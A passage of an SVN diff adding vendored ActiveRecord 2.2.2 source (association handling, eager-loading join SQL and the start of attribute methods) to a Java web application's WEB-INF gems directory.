+            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+
+            if association.respond_to?(:loaded?)
+              if new_record?
+                association
+              elsif association.loaded?
+                association.select { |record| record.new_record? }
+              else
+                association.target.select { |record| record.new_record? }
+              end.each do |record|
+                errors.add association_name unless record.valid?
+              end
+            end
+          end
+
+          validate method_name
+        end
+
+        def add_multiple_associated_save_callbacks(association_name)
+          ivar = "@#{association_name}"
+
+          method_name = "before_save_associated_records_for_#{association_name}".to_sym
+          define_method(method_name) do
+            @new_record_before_save = new_record?
+            true
+          end
+          before_save method_name
+
+          method_name = "after_create_or_update_associated_records_for_#{association_name}".to_sym
+          define_method(method_name) do
+            association = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+
+            records_to_save = if @new_record_before_save
+              association
+            elsif association.respond_to?(:loaded?) && association.loaded?
+              association.select { |record| record.new_record? }
+            elsif association.respond_to?(:loaded?) && !association.loaded?
+              association.target.select { |record| record.new_record? }
+            else
+              []
+            end
+            records_to_save.each { |record| association.send(:insert_record, record) } unless records_to_save.blank?
+
+            # reconstruct the SQL queries now that we know the owner's id
+            association.send(:construct_sql) if association.respond_to?(:construct_sql)
+          end
+
+          # Doesn't use after_save as that would save associations added in after_create/after_update twice
+          after_create method_name
+          after_update method_name
+        end
+
+        def association_constructor_method(constructor, reflection, association_proxy_class)
+          define_method("#{constructor}_#{reflection.name}") do |*params|
+            ivar = "@#{reflection.name}"
+
+            attributees      = params.first unless params.empty?
+            replace_existing = params[1].nil? ? true : params[1]
+            association      = instance_variable_get(ivar) if instance_variable_defined?(ivar)
+
+            if association.nil?
+              association = association_proxy_class.new(self, reflection)
+              instance_variable_set(ivar, association)
+            end
+
+            if association_proxy_class == HasOneAssociation
+              association.send(constructor, attributees, replace_existing)
+            else
+              association.send(constructor, attributees)
+            end
+          end
+        end
+
+        def find_with_associations(options = {})
+          catch :invalid_query do
+            join_dependency = JoinDependency.new(self, merge_includes(scope(:find, :include), options[:include]), options[:joins])
+            rows = select_all_rows(options, join_dependency)
+            return join_dependency.instantiate(rows)
+          end
+          []
+        end
+
+        # Creates before_destroy callback methods that nullify, delete or destroy
+        # has_many associated objects, according to the defined :dependent rule.
+        #
+        # See HasManyAssociation#delete_records.  Dependent associations
+        # delete children, otherwise foreign key is set to NULL.
+        #
+        # The +extra_conditions+ parameter, which is not used within the main
+        # Active Record codebase, is meant to allow plugins to define extra
+        # finder conditions.
+        def configure_dependency_for_has_many(reflection, extra_conditions = nil)
+          if reflection.options.include?(:dependent)
+            # Add polymorphic type if the :as option is present
+            dependent_conditions = []
+            dependent_conditions << "#{reflection.primary_key_name} = \#{record.quoted_id}"
+            dependent_conditions << "#{reflection.options[:as]}_type = '#{base_class.name}'" if reflection.options[:as]
+            dependent_conditions << sanitize_sql(reflection.options[:conditions]) if reflection.options[:conditions]
+            dependent_conditions << extra_conditions if extra_conditions
+            dependent_conditions = dependent_conditions.collect {|where| "(#{where})" }.join(" AND ")
+
+            case reflection.options[:dependent]
+              when :destroy
+                method_name = "has_many_dependent_destroy_for_#{reflection.name}".to_sym
+                define_method(method_name) do
+                  send(reflection.name).each { |o| o.destroy }
+                end
+                before_destroy method_name
+              when :delete_all
+                module_eval %Q{
+                  before_destroy do |record|
+                    delete_all_has_many_dependencies(record,
+                      "#{reflection.name}",
+                      #{reflection.class_name},
+                      "#{dependent_conditions}")
+                  end
+                }
+              when :nullify
+                module_eval %Q{
+                  before_destroy do |record|
+                    nullify_has_many_dependencies(record,
+                      "#{reflection.name}",
+                      #{reflection.class_name},
+                      "#{reflection.primary_key_name}",
+                      "#{dependent_conditions}")
+                  end
+                }
+              else
+                raise ArgumentError, "The :dependent option expects either :destroy, :delete_all, or :nullify (#{reflection.options[:dependent].inspect})"
+            end
+          end
+        end
+
+        # Creates before_destroy callback methods that nullify, delete or destroy
+        # has_one associated objects, according to the defined :dependent rule.
+        def configure_dependency_for_has_one(reflection)
+          if reflection.options.include?(:dependent)
+            case reflection.options[:dependent]
+              when :destroy
+                method_name = "has_one_dependent_destroy_for_#{reflection.name}".to_sym
+                define_method(method_name) do
+                  association = send(reflection.name)
+                  association.destroy unless association.nil?
+                end
+                before_destroy method_name
+              when :delete
+                method_name = "has_one_dependent_delete_for_#{reflection.name}".to_sym
+                define_method(method_name) do
+                  # Retrieve the associated object and delete it. The retrieval
+                  # is necessary because there may be multiple associated objects
+                  # with foreign keys pointing to this object, and we only want
+                  # to delete the correct one, not all of them.
+                  association = send(reflection.name)
+                  association.delete unless association.nil?
+                end
+                before_destroy method_name
+              when :nullify
+                method_name = "has_one_dependent_nullify_for_#{reflection.name}".to_sym
+                define_method(method_name) do
+                  association = send(reflection.name)
+                  association.update_attribute(reflection.primary_key_name, nil) unless association.nil?
+                end
+                before_destroy method_name
+              else
+                raise ArgumentError, "The :dependent option expects either :destroy, :delete or :nullify (#{reflection.options[:dependent].inspect})"
+            end
+          end
+        end
+
+        def configure_dependency_for_belongs_to(reflection)
+          if reflection.options.include?(:dependent)
+            case reflection.options[:dependent]
+              when :destroy
+                method_name = "belongs_to_dependent_destroy_for_#{reflection.name}".to_sym
+                define_method(method_name) do
+                  association = send(reflection.name)
+                  association.destroy unless association.nil?
+                end
+                before_destroy method_name
+              when :delete
+                method_name = "belongs_to_dependent_delete_for_#{reflection.name}".to_sym
+                define_method(method_name) do
+                  association = send(reflection.name)
+                  association.delete unless association.nil?
+                end
+                before_destroy method_name
+              else
+                raise ArgumentError, "The :dependent option expects either :destroy or :delete (#{reflection.options[:dependent].inspect})"
+            end
+          end
+        end
+
+        def delete_all_has_many_dependencies(record, reflection_name, association_class, dependent_conditions)
+          association_class.delete_all(dependent_conditions)
+        end
+
+        def nullify_has_many_dependencies(record, reflection_name, association_class, primary_key_name, dependent_conditions)
+          association_class.update_all("#{primary_key_name} = NULL", dependent_conditions)
+        end
+
+        mattr_accessor :valid_keys_for_has_many_association
+        @@valid_keys_for_has_many_association = [
+          :class_name, :table_name, :foreign_key, :primary_key,
+          :dependent,
+          :select, :conditions, :include, :order, :group, :limit, :offset,
+          :as, :through, :source, :source_type,
+          :uniq,
+          :finder_sql, :counter_sql,
+          :before_add, :after_add, :before_remove, :after_remove,
+          :extend, :readonly,
+          :validate
+        ]
+
+        def create_has_many_reflection(association_id, options, &extension)
+          options.assert_valid_keys(valid_keys_for_has_many_association)
+          options[:extend] = create_extension_modules(association_id, extension, options[:extend])
+
+          create_reflection(:has_many, association_id, options, self)
+        end
+
+        mattr_accessor :valid_keys_for_has_one_association
+        @@valid_keys_for_has_one_association = [
+          :class_name, :foreign_key, :remote, :select, :conditions, :order,
+          :include, :dependent, :counter_cache, :extend, :as, :readonly,
+          :validate, :primary_key
+        ]
+
+        def create_has_one_reflection(association_id, options)
+          options.assert_valid_keys(valid_keys_for_has_one_association)
+          create_reflection(:has_one, association_id, options, self)
+        end
+
+        def create_has_one_through_reflection(association_id, options)
+          options.assert_valid_keys(
+            :class_name, :foreign_key, :remote, :select, :conditions, :order, :include, :dependent, :counter_cache, :extend, :as, :through, :source, :source_type, :validate
+          )
+          create_reflection(:has_one, association_id, options, self)
+        end
+
+        mattr_accessor :valid_keys_for_belongs_to_association
+        @@valid_keys_for_belongs_to_association = [
+          :class_name, :foreign_key, :foreign_type, :remote, :select, :conditions,
+          :include, :dependent, :counter_cache, :extend, :polymorphic, :readonly,
+          :validate
+        ]
+
+        def create_belongs_to_reflection(association_id, options)
+          options.assert_valid_keys(valid_keys_for_belongs_to_association)
+          reflection = create_reflection(:belongs_to, association_id, options, self)
+
+          if options[:polymorphic]
+            reflection.options[:foreign_type] ||= reflection.class_name.underscore + "_type"
+          end
+
+          reflection
+        end
+
+        mattr_accessor :valid_keys_for_has_and_belongs_to_many_association
+        @@valid_keys_for_has_and_belongs_to_many_association = [
+          :class_name, :table_name, :join_table, :foreign_key, :association_foreign_key,
+          :select, :conditions, :include, :order, :group, :limit, :offset,
+          :uniq,
+          :finder_sql, :counter_sql, :delete_sql, :insert_sql,
+          :before_add, :after_add, :before_remove, :after_remove,
+          :extend, :readonly,
+          :validate
+        ]
+
+        def create_has_and_belongs_to_many_reflection(association_id, options, &extension)
+          options.assert_valid_keys(valid_keys_for_has_and_belongs_to_many_association)
+
+          options[:extend] = create_extension_modules(association_id, extension, options[:extend])
+
+          reflection = create_reflection(:has_and_belongs_to_many, association_id, options, self)
+
+          reflection.options[:join_table] ||= join_table_name(undecorated_table_name(self.to_s), undecorated_table_name(reflection.class_name))
+
+          reflection
+        end
+
+        def reflect_on_included_associations(associations)
+          [ associations ].flatten.collect { |association| reflect_on_association(association.to_s.intern) }
+        end
+
+        def guard_against_unlimitable_reflections(reflections, options)
+          if (options[:offset] || options[:limit]) && !using_limitable_reflections?(reflections)
+            raise(
+              ConfigurationError,
+              "You can not use offset and limit together with has_many or has_and_belongs_to_many associations"
+            )
+          end
+        end
+
+        def select_all_rows(options, join_dependency)
+          connection.select_all(
+            construct_finder_sql_with_included_associations(options, join_dependency),
+            "#{name} Load Including Associations"
+          )
+        end
+
+        def construct_finder_sql_with_included_associations(options, join_dependency)
+          scope = scope(:find)
+          sql = "SELECT #{column_aliases(join_dependency)} FROM #{(scope && scope[:from]) || options[:from] || quoted_table_name} "
+          sql << join_dependency.join_associations.collect{|join| join.association_join }.join
+
+          add_joins!(sql, options[:joins], scope)
+          add_conditions!(sql, options[:conditions], scope)
+          add_limited_ids_condition!(sql, options, join_dependency) if !using_limitable_reflections?(join_dependency.reflections) && ((scope && scope[:limit]) || options[:limit])
+
+          add_group!(sql, options[:group], scope)
+          add_order!(sql, options[:order], scope)
+          add_limit!(sql, options, scope) if using_limitable_reflections?(join_dependency.reflections)
+          add_lock!(sql, options, scope)
+
+          return sanitize_sql(sql)
+        end
+
+        def add_limited_ids_condition!(sql, options, join_dependency)
+          unless (id_list = select_limited_ids_list(options, join_dependency)).empty?
+            sql << "#{condition_word(sql)} #{connection.quote_table_name table_name}.#{primary_key} IN (#{id_list}) "
+          else
+            throw :invalid_query
+          end
+        end
+
+        def select_limited_ids_list(options, join_dependency)
+          pk = columns_hash[primary_key]
+
+          connection.select_all(
+            construct_finder_sql_for_association_limiting(options, join_dependency),
+            "#{name} Load IDs For Limited Eager Loading"
+          ).collect { |row| connection.quote(row[primary_key], pk) }.join(", ")
+        end
+
+        def construct_finder_sql_for_association_limiting(options, join_dependency)
+          scope       = scope(:find)
+
+          # Only join tables referenced in order or conditions since this is particularly slow on the pre-query.
+          tables_from_conditions = conditions_tables(options)
+          tables_from_order      = order_tables(options)
+          all_tables             = tables_from_conditions + tables_from_order
+          distinct_join_associations = all_tables.uniq.map{|table|
+            join_dependency.joins_for_table_name(table)
+          }.flatten.compact.uniq
+
+          order = options[:order]
+          if scoped_order = (scope && scope[:order])
+            order = order ? "#{order}, #{scoped_order}" : scoped_order
+          end
+
+          is_distinct = !options[:joins].blank? || include_eager_conditions?(options, tables_from_conditions) || include_eager_order?(options, tables_from_order)
+          sql = "SELECT "
+          if is_distinct
+            sql << connection.distinct("#{connection.quote_table_name table_name}.#{primary_key}", order)
+          else
+            sql << primary_key
+          end
+          sql << " FROM #{connection.quote_table_name table_name} "
+
+          if is_distinct
+            sql << distinct_join_associations.collect { |assoc| assoc.association_join }.join
+            add_joins!(sql, options[:joins], scope)
+          end
+
+          add_conditions!(sql, options[:conditions], scope)
+          add_group!(sql, options[:group], scope)
+
+          if order && is_distinct
+            connection.add_order_by_for_association_limiting!(sql, :order => order)
+          else
+            add_order!(sql, options[:order], scope)
+          end
+
+          add_limit!(sql, options, scope)
+
+          return sanitize_sql(sql)
+        end
+
+        def conditions_tables(options)
+          # look in both sets of conditions
+          conditions = [scope(:find, :conditions), options[:conditions]].inject([]) do |all, cond|
+            case cond
+              when nil   then all
+              when Array then all << cond.first
+              else            all << cond
+            end
+          end
+          conditions.join(' ').scan(/([\.a-zA-Z_]+).?\./).flatten
+        end
+
+        def order_tables(options)
+          order = [options[:order], scope(:find, :order) ].join(", ")
+          return [] unless order && order.is_a?(String)
+          order.scan(/([\.a-zA-Z_]+).?\./).flatten
+        end
+
+        def selects_tables(options)
+          select = options[:select]
+          return [] unless select && select.is_a?(String)
+          select.scan(/"?([\.a-zA-Z_]+)"?.?\./).flatten
+        end
+
+        # Checks if the conditions reference a table other than the current model table
+        def include_eager_conditions?(options, tables = nil)
+          ((tables || conditions_tables(options)) - [table_name]).any?
+        end
+
+        # Checks if the query order references a table other than the current model's table.
+        def include_eager_order?(options, tables = nil)
+          ((tables || order_tables(options)) - [table_name]).any?
+        end
+
+        def include_eager_select?(options)
+          (selects_tables(options) - [table_name]).any?
+        end
+
+        def references_eager_loaded_tables?(options)
+          include_eager_order?(options) || include_eager_conditions?(options) || include_eager_select?(options)
+        end
+
+        def using_limitable_reflections?(reflections)
+          reflections.reject { |r| [ :belongs_to, :has_one ].include?(r.macro) }.length.zero?
+        end
+
+        def column_aliases(join_dependency)
+          join_dependency.joins.collect{|join| join.column_names_with_alias.collect{|column_name, aliased_name|
+              "#{connection.quote_table_name join.aliased_table_name}.#{connection.quote_column_name column_name} AS #{aliased_name}"}}.flatten.join(", ")
+        end
+
+        def add_association_callbacks(association_name, options)
+          callbacks = %w(before_add after_add before_remove after_remove)
+          callbacks.each do |callback_name|
+            full_callback_name = "#{callback_name}_for_#{association_name}"
+            defined_callbacks = options[callback_name.to_sym]
+            if options.has_key?(callback_name.to_sym)
+              class_inheritable_reader full_callback_name.to_sym
+              write_inheritable_attribute(full_callback_name.to_sym, [defined_callbacks].flatten)
+            else
+              write_inheritable_attribute(full_callback_name.to_sym, [])
+            end
+          end
+        end
+
+        def condition_word(sql)
+          sql =~ /where/i ? " AND " : "WHERE "
+        end
+
+        def create_extension_modules(association_id, block_extension, extensions)
+          if block_extension
+            extension_module_name = "#{self.to_s.demodulize}#{association_id.to_s.camelize}AssociationExtension"
+
+            silence_warnings do
+              self.parent.const_set(extension_module_name, Module.new(&block_extension))
+            end
+            Array(extensions).push("#{self.parent}::#{extension_module_name}".constantize)
+          else
+            Array(extensions)
+          end
+        end
+
+        class JoinDependency # :nodoc:
+          attr_reader :joins, :reflections, :table_aliases
+
+          def initialize(base, associations, joins)
+            @joins                 = [JoinBase.new(base, joins)]
+            @associations          = associations
+            @reflections           = []
+            @base_records_hash     = {}
+            @base_records_in_order = []
+            @table_aliases         = Hash.new { |aliases, table| aliases[table] = 0 }
+            @table_aliases[base.table_name] = 1
+            build(associations)
+          end
+
+          def join_associations
+            @joins[1..-1].to_a
+          end
+
+          def join_base
+            @joins[0]
+          end
+
+          def instantiate(rows)
+            rows.each_with_index do |row, i|
+              primary_id = join_base.record_id(row)
+              unless @base_records_hash[primary_id]
+                @base_records_in_order << (@base_records_hash[primary_id] = join_base.instantiate(row))
+              end
+              construct(@base_records_hash[primary_id], @associations, join_associations.dup, row)
+            end
+            remove_duplicate_results!(join_base.active_record, @base_records_in_order, @associations)
+            return @base_records_in_order
+          end
+
+          def remove_duplicate_results!(base, records, associations)
+            case associations
+              when Symbol, String
+                reflection = base.reflections[associations]
+                if reflection && [:has_many, :has_and_belongs_to_many].include?(reflection.macro)
+                  records.each { |record| record.send(reflection.name).target.uniq! }
+                end
+              when Array
+                associations.each do |association|
+                  remove_duplicate_results!(base, records, association)
+                end
+              when Hash
+                associations.keys.each do |name|
+                  reflection = base.reflections[name]
+                  is_collection = [:has_many, :has_and_belongs_to_many].include?(reflection.macro)
+
+                  parent_records = records.map do |record|
+                    descendant = record.send(reflection.name)
+                    next unless descendant
+                    descendant.target.uniq! if is_collection
+                    descendant
+                  end.flatten.compact
+
+                  remove_duplicate_results!(reflection.class_name.constantize, parent_records, associations[name]) unless parent_records.empty?
+                end
+            end
+          end
+
+          def join_for_table_name(table_name)
+            join = (@joins.select{|j|j.aliased_table_name == table_name.gsub(/^\"(.*)\"$/){$1} }.first) rescue nil
+            return join unless join.nil?
+            @joins.select{|j|j.is_a?(JoinAssociation) && j.aliased_join_table_name == table_name.gsub(/^\"(.*)\"$/){$1} }.first rescue nil
+          end
+
+          def joins_for_table_name(table_name)
+            join = join_for_table_name(table_name)
+            result = nil
+            if join && join.is_a?(JoinAssociation)
+              result = [join]
+              if join.parent && join.parent.is_a?(JoinAssociation)
+                result = joins_for_table_name(join.parent.aliased_table_name) +
+                         result
+              end
+            end
+            result
+          end
+
+          protected
+            def build(associations, parent = nil)
+              parent ||= @joins.last
+              case associations
+                when Symbol, String
+                  reflection = parent.reflections[associations.to_s.intern] or
+                  raise ConfigurationError, "Association named '#{ associations }' was not found; perhaps you misspelled it?"
+                  @reflections << reflection
+                  @joins << build_join_association(reflection, parent)
+                when Array
+                  associations.each do |association|
+                    build(association, parent)
+                  end
+                when Hash
+                  associations.keys.sort{|a,b|a.to_s<=>b.to_s}.each do |name|
+                    build(name, parent)
+                    build(associations[name])
+                  end
+                else
+                  raise ConfigurationError, associations.inspect
+              end
+            end
+
+            # overridden in InnerJoinDependency subclass
+            def build_join_association(reflection, parent)
+              JoinAssociation.new(reflection, self, parent)
+            end
+
+            def construct(parent, associations, joins, row)
+              case associations
+                when Symbol, String
+                  while (join = joins.shift).reflection.name.to_s != associations.to_s
+                    raise ConfigurationError, "Not Enough Associations" if joins.empty?
+                  end
+                  construct_association(parent, join, row)
+                when Array
+                  associations.each do |association|
+                    construct(parent, association, joins, row)
+                  end
+                when Hash
+                  associations.keys.sort{|a,b|a.to_s<=>b.to_s}.each do |name|
+                    association = construct_association(parent, joins.shift, row)
+                    construct(association, associations[name], joins, row) if association
+                  end
+                else
+                  raise ConfigurationError, associations.inspect
+              end
+            end
+
+            def construct_association(record, join, row)
+              case join.reflection.macro
+                when :has_many, :has_and_belongs_to_many
+                  collection = record.send(join.reflection.name)
+                  collection.loaded
+
+                  return nil if record.id.to_s != join.parent.record_id(row).to_s or row[join.aliased_primary_key].nil?
+                  association = join.instantiate(row)
+                  collection.target.push(association)
+                when :has_one
+                  return if record.id.to_s != join.parent.record_id(row).to_s
+                  return if record.instance_variable_defined?("@#{join.reflection.name}")
+                  association = join.instantiate(row) unless row[join.aliased_primary_key].nil?
+                  record.send("set_#{join.reflection.name}_target", association)
+                when :belongs_to
+                  return if record.id.to_s != join.parent.record_id(row).to_s or row[join.aliased_primary_key].nil?
+                  association = join.instantiate(row)
+                  record.send("set_#{join.reflection.name}_target", association)
+                else
+                  raise ConfigurationError, "unknown macro: #{join.reflection.macro}"
+              end
+              return association
+            end
+
+          class JoinBase # :nodoc:
+            attr_reader :active_record, :table_joins
+            delegate    :table_name, :column_names, :primary_key, :reflections, :sanitize_sql, :to => :active_record
+
+            def initialize(active_record, joins = nil)
+              @active_record = active_record
+              @cached_record = {}
+              @table_joins   = joins
+            end
+
+            def aliased_prefix
+              "t0"
+            end
+
+            def aliased_primary_key
+              "#{aliased_prefix}_r0"
+            end
+
+            def aliased_table_name
+              active_record.table_name
+            end
+
+            def column_names_with_alias
+              unless defined?(@column_names_with_alias)
+                @column_names_with_alias = []
+
+                ([primary_key] + (column_names - [primary_key])).each_with_index do |column_name, i|
+                  @column_names_with_alias << [column_name, "#{aliased_prefix}_r#{i}"]
+                end
+              end
+
+              @column_names_with_alias
+            end
+
+            def extract_record(row)
+              column_names_with_alias.inject({}){|record, (cn, an)| record[cn] = row[an]; record}
+            end
+
+            def record_id(row)
+              row[aliased_primary_key]
+            end
+
+            def instantiate(row)
+              @cached_record[record_id(row)] ||= active_record.send(:instantiate, extract_record(row))
+            end
+          end
+
+          class JoinAssociation < JoinBase # :nodoc:
+            attr_reader :reflection, :parent, :aliased_table_name, :aliased_prefix, :aliased_join_table_name, :parent_table_name
+            delegate    :options, :klass, :through_reflection, :source_reflection, :to => :reflection
+
+            def initialize(reflection, join_dependency, parent = nil)
+              reflection.check_validity!
+              if reflection.options[:polymorphic]
+                raise EagerLoadPolymorphicError.new(reflection)
+              end
+
+              super(reflection.klass)
+              @join_dependency    = join_dependency
+              @parent             = parent
+              @reflection         = reflection
+              @aliased_prefix     = "t#{ join_dependency.joins.size }"
+              @parent_table_name  = parent.active_record.table_name
+              @aliased_table_name = aliased_table_name_for(table_name)
+
+              if reflection.macro == :has_and_belongs_to_many
+                @aliased_join_table_name = aliased_table_name_for(reflection.options[:join_table], "_join")
+              end
+
+              if [:has_many, :has_one].include?(reflection.macro) && reflection.options[:through]
+                @aliased_join_table_name = aliased_table_name_for(reflection.through_reflection.klass.table_name, "_join")
+              end
+            end
+
+            def association_join
+              connection = reflection.active_record.connection
+              join = case reflection.macro
+                when :has_and_belongs_to_many
+                  " #{join_type} %s ON %s.%s = %s.%s " % [
+                     table_alias_for(options[:join_table], aliased_join_table_name),
+                     connection.quote_table_name(aliased_join_table_name),
+                     options[:foreign_key] || reflection.active_record.to_s.foreign_key,
+                     connection.quote_table_name(parent.aliased_table_name),
+                     reflection.active_record.primary_key] +
+                  " #{join_type} %s ON %s.%s = %s.%s " % [
+                     table_name_and_alias,
+                     connection.quote_table_name(aliased_table_name),
+                     klass.primary_key,
+                     connection.quote_table_name(aliased_join_table_name),
+                     options[:association_foreign_key] || klass.to_s.foreign_key
+                     ]
+                when :has_many, :has_one
+                  case
+                    when reflection.options[:through]
+                      through_conditions = through_reflection.options[:conditions] ? "AND #{interpolate_sql(sanitize_sql(through_reflection.options[:conditions]))}" : ''
+
+                      jt_foreign_key = jt_as_extra = jt_source_extra = jt_sti_extra = nil
+                      first_key = second_key = as_extra = nil
+
+                      if through_reflection.options[:as] # has_many :through against a polymorphic join
+                        jt_foreign_key = through_reflection.options[:as].to_s + '_id'
+                        jt_as_extra = " AND %s.%s = %s" % [
+                          connection.quote_table_name(aliased_join_table_name),
+                          connection.quote_column_name(through_reflection.options[:as].to_s + '_type'),
+                          klass.quote_value(parent.active_record.base_class.name)
+                        ]
+                      else
+                        jt_foreign_key = through_reflection.primary_key_name
+                      end
+
+                      case source_reflection.macro
+                      when :has_many
+                        if source_reflection.options[:as]
+                          first_key   = "#{source_reflection.options[:as]}_id"
+                          second_key  = options[:foreign_key] || primary_key
+                          as_extra    = " AND %s.%s = %s" % [
+                            connection.quote_table_name(aliased_table_name),
+                            connection.quote_column_name("#{source_reflection.options[:as]}_type"),
+                            klass.quote_value(source_reflection.active_record.base_class.name)
+                          ]
+                        else
+                          first_key   = through_reflection.klass.base_class.to_s.foreign_key
+                          second_key  = options[:foreign_key] || primary_key
+                        end
+
+                        unless through_reflection.klass.descends_from_active_record?
+                          jt_sti_extra = " AND %s.%s = %s" % [
+                            connection.quote_table_name(aliased_join_table_name),
+                            connection.quote_column_name(through_reflection.active_record.inheritance_column),
+                            through_reflection.klass.quote_value(through_reflection.klass.sti_name)]
+                        end
+                      when :belongs_to
+                        first_key = primary_key
+                        if reflection.options[:source_type]
+                          second_key = source_reflection.association_foreign_key
+                          jt_source_extra = " AND %s.%s = %s" % [
+                            connection.quote_table_name(aliased_join_table_name),
+                            connection.quote_column_name(reflection.source_reflection.options[:foreign_type]),
+                            klass.quote_value(reflection.options[:source_type])
+                          ]
+                        else
+                          second_key = source_reflection.primary_key_name
+                        end
+                      end
+
+                      " #{join_type} %s ON (%s.%s = %s.%s%s%s%s) " % [
+                        table_alias_for(through_reflection.klass.table_name, aliased_join_table_name),
+                        connection.quote_table_name(parent.aliased_table_name),
+                        connection.quote_column_name(parent.primary_key),
+                        connection.quote_table_name(aliased_join_table_name),
+                        connection.quote_column_name(jt_foreign_key),
+                        jt_as_extra, jt_source_extra, jt_sti_extra
+                      ] +
+                      " #{join_type} %s ON (%s.%s = %s.%s%s) " % [
+                        table_name_and_alias,
+                        connection.quote_table_name(aliased_table_name),
+                        connection.quote_column_name(first_key),
+                        connection.quote_table_name(aliased_join_table_name),
+                        connection.quote_column_name(second_key),
+                        as_extra
+                      ]
+
+                    when reflection.options[:as] && [:has_many, :has_one].include?(reflection.macro)
+                      " #{join_type} %s ON %s.%s = %s.%s AND %s.%s = %s" % [
+                        table_name_and_alias,
+                        connection.quote_table_name(aliased_table_name),
+                        "#{reflection.options[:as]}_id",
+                        connection.quote_table_name(parent.aliased_table_name),
+                        parent.primary_key,
+                        connection.quote_table_name(aliased_table_name),
+                        "#{reflection.options[:as]}_type",
+                        klass.quote_value(parent.active_record.base_class.name)
+                      ]
+                    else
+                      foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
+                      " #{join_type} %s ON %s.%s = %s.%s " % [
+                        table_name_and_alias,
+                        aliased_table_name,
+                        foreign_key,
+                        parent.aliased_table_name,
+                        parent.primary_key
+                      ]
+                  end
+                when :belongs_to
+                  " #{join_type} %s ON %s.%s = %s.%s " % [
+                     table_name_and_alias,
+                     connection.quote_table_name(aliased_table_name),
+                     reflection.klass.primary_key,
+                     connection.quote_table_name(parent.aliased_table_name),
+                     options[:foreign_key] || reflection.primary_key_name
+                    ]
+                else
+                  ""
+              end || ''
+              join << %(AND %s) % [
+                klass.send(:type_condition, aliased_table_name)] unless klass.descends_from_active_record?
+
+              [through_reflection, reflection].each do |ref|
+                join << "AND #{interpolate_sql(sanitize_sql(ref.options[:conditions]))} " if ref && ref.options[:conditions]
+              end
+
+              join
+            end
+
+            protected
+
+              def aliased_table_name_for(name, suffix = nil)
+                if !parent.table_joins.blank? && parent.table_joins.to_s.downcase =~ %r{join(\s+\w+)?\s+#{name.downcase}\son}
+                  @join_dependency.table_aliases[name] += 1
+                end
+
+                unless @join_dependency.table_aliases[name].zero?
+                  # if the table name has been used, then use an alias
+                  name = active_record.connection.table_alias_for "#{pluralize(reflection.name)}_#{parent_table_name}#{suffix}"
+                  table_index = @join_dependency.table_aliases[name]
+                  @join_dependency.table_aliases[name] += 1
+                  name = name[0..active_record.connection.table_alias_length-3] + "_#{table_index+1}" if table_index > 0
+                else
+                  @join_dependency.table_aliases[name] += 1
+                end
+
+                name
+              end
+
+              def pluralize(table_name)
+                ActiveRecord::Base.pluralize_table_names ? table_name.to_s.pluralize : table_name
+              end
+
+              def table_alias_for(table_name, table_alias)
+                 "#{reflection.active_record.connection.quote_table_name(table_name)} #{table_alias if table_name != table_alias}".strip
+              end
+
+              def table_name_and_alias
+                table_alias_for table_name, @aliased_table_name
+              end
+
+              def interpolate_sql(sql)
+                instance_eval("%@#{sql.gsub('@', '\@')}@")
+              end
+
+            private
+              def join_type
+                "LEFT OUTER JOIN"
+              end
+          end
+        end
+
+        class InnerJoinDependency < JoinDependency # :nodoc:
+          protected
+            def build_join_association(reflection, parent)
+              InnerJoinAssociation.new(reflection, self, parent)
+            end
+
+          class InnerJoinAssociation < JoinAssociation
+            private
+              def join_type
+                "INNER JOIN"
+              end
+          end
+        end
+
+    end
+  end
+end


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/associations.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/attribute_methods.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/attribute_methods.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/attribute_methods.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,387 @@
+module ActiveRecord
+  module AttributeMethods #:nodoc:
+    DEFAULT_SUFFIXES = %w(= ? _before_type_cast)
+    ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date]
+
+    def self.included(base)
+      base.extend ClassMethods
+      base.attribute_method_suffix(*DEFAULT_SUFFIXES)
+      base.cattr_accessor :attribute_types_cached_by_default, :instance_writer => false
+      base.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
+      base.cattr_accessor :time_zone_aware_attributes, :instance_writer => false
+      base.time_zone_aware_attributes = false
+      base.class_inheritable_accessor :skip_time_zone_conversion_for_attributes, :instance_writer => false
+      base.skip_time_zone_conversion_for_attributes = []
+    end
+
+    # Declare and check for suffixed attribute methods.
+    module ClassMethods
+      # Declares a method available for all attributes with the given suffix.
+      # Uses +method_missing+ and <tt>respond_to?</tt> to rewrite the method
+      #
+      #   #{attr}#{suffix}(*args, &block)
+      #
+      # to
+      #
+      #   attribute#{suffix}(#{attr}, *args, &block)
+      #
+      # An <tt>attribute#{suffix}</tt> instance method must exist and accept at least
+      # the +attr+ argument.
+      #
+      # For example:
+      #
+      #   class Person < ActiveRecord::Base
+      #     attribute_method_suffix '_changed?'
+      #
+      #     private
+      #       def attribute_changed?(attr)
+      #         ...
+      #       end
+      #   end
+      #
+      #   person = Person.find(1)
+      #   person.name_changed?    # => false
+      #   person.name = 'Hubert'
+      #   person.name_changed?    # => true
+      def attribute_method_suffix(*suffixes)
+        attribute_method_suffixes.concat suffixes
+        rebuild_attribute_method_regexp
+      end
+
+      # Returns MatchData if method_name is an attribute method.
+      def match_attribute_method?(method_name)
+        rebuild_attribute_method_regexp unless defined?(@@attribute_method_regexp) && @@attribute_method_regexp
+        @@attribute_method_regexp.match(method_name)
+      end
+
+
+      # Contains the names of the generated attribute methods.
+      def generated_methods #:nodoc:
+        @generated_methods ||= Set.new
+      end
+      
+      def generated_methods?
+        !generated_methods.empty?
+      end
+      
+      # Generates all the attribute related methods for columns in the database
+      # accessors, mutators and query methods.
+      def define_attribute_methods
+        return if generated_methods?
+        columns_hash.each do |name, column|
+          unless instance_method_already_implemented?(name)
+            if self.serialized_attributes[name]
+              define_read_method_for_serialized_attribute(name)
+            elsif create_time_zone_conversion_attribute?(name, column)
+              define_read_method_for_time_zone_conversion(name)
+            else
+              define_read_method(name.to_sym, name, column)
+            end
+          end
+
